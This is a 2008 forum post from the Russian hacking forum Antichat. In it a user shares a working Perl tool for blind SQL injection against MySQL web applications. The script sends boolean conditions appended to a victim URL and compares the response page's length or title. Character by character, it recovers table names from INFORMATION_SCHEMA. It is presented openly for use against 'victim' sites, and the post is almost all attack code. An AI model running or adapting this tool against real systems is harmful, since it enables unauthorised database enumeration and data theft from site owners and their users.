Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Blind Scan by baltazar (https://forum.antichat.xyz/showthread.php?t=76312)

baltazar 07.07.2008 13:34

Blind Scan by baltazar
 
Эммм.мои скромные начинания в перле,здравая критика воспрнимается

Собственно тулза для работы со слепыми иньекциями,а именно для подбора имен таблиц

Код:


#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;
my $titleok ;
my $done  = 1;
my $server = $ARGV[0];
my $typequery = $ARGV[1];
my $typerror= $ARGV[2];
 
usage();
if (!$server) { die "Read Usage!\n"; }
if (!$typequery ) { die "Read Usage!\n"; }
 
print $typequery;
 
if ($typequery==1) {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+where+table_schema=database()";}
else {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES";}
 
print"\n[x]Connecting: \n\t$server ...";
 
my $Attackok= $userAgent->get($server."+and+substring(version(),1,1)=4");
if($Attackok->is_success){
        my $contentok = $Attackok->content; print " Connected and Saved \n";
      $titleok = get_content($contentok);}
else {  print " Connection Failed\nDone"; exit; }
 
print "[x]Length And Data Information Tables... :\n ";
my $Countertable = 65;
my $title;
 
while($done)
{
 my $lengthCounter = 1;
 my $val=0;
 while($val!=1 && $lengthCounter<50)
 {
    my $content = get($server."+and+LENGTH((".$querysql."+limit+".$Countertable.",1))=".$lengthCounter);
    $title = get_content($content);
    #print("\ntable leng:".$title."-".$titleok."-".$lengthCounter."-".$val);
    if($title != $titleok)
      {  $val=1;
          print "\n\t[$Countertable] ($lengthCounter)";
        print $tablename = blind_table_name($Countertable,$lengthCounter);
          blind_column_name($tablename);
      }
    else { $lengthCounter++; }
 }
 
 if ($lengthCounter>=50) { $done=0; }
 $Countertable++;
}
 
print "\n\n";
print "[x]End... \n ";
 
######################################################################################################
sub blind_table_name {
        my $res    = undef;
        my $i      = 0;
        my $val2    = 1;
        my @cset  =  (48..57,95,97..122);
        my $titles = 0;
 
            while($val2<=$_[1] && $i <= $#cset)
      {
              my $content1 = get($server."+and+ascii(substring((".$querysql."+limit+".$_[0].",1),".$val2.",1))=".$cset[$i]);
                $titles = get_content($content1);
            if($titles != $titleok ) {
                        $res .= chr($cset[$i]); $val2++; $i = 0;}
              else { $i++; }
        }
        return $res;
}
 
######################################################################################################
sub blind_column_name {
 
# come soon
 
}
######################################################################################################
sub get_content(){
 
if ($typerror == 1) {
 if ($_[0] =~ m/<title>(.*)<\/title>/)
  {  return length($1);}
 else {return 0; }
}
else { return length($_[0]); }
}
######################################################################################################
sub ascii_to_hex ($)
{
            (my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
            return $str;
}
######################################################################################################
sub usage()
{
    print q
    {
    ###################################################################
        Blind Scan      by baltazar
      Usage: blinqsql.pl [Server] [Table] [Type Error]
          [Serveur] : Url Victime Site with True id /
          [Table]  : table site 1 , all table 2
          [Type Error] : By title 1 , By allsize 2
    ###################################################################
    };
 
}
######################################################################################################



Время: 09:03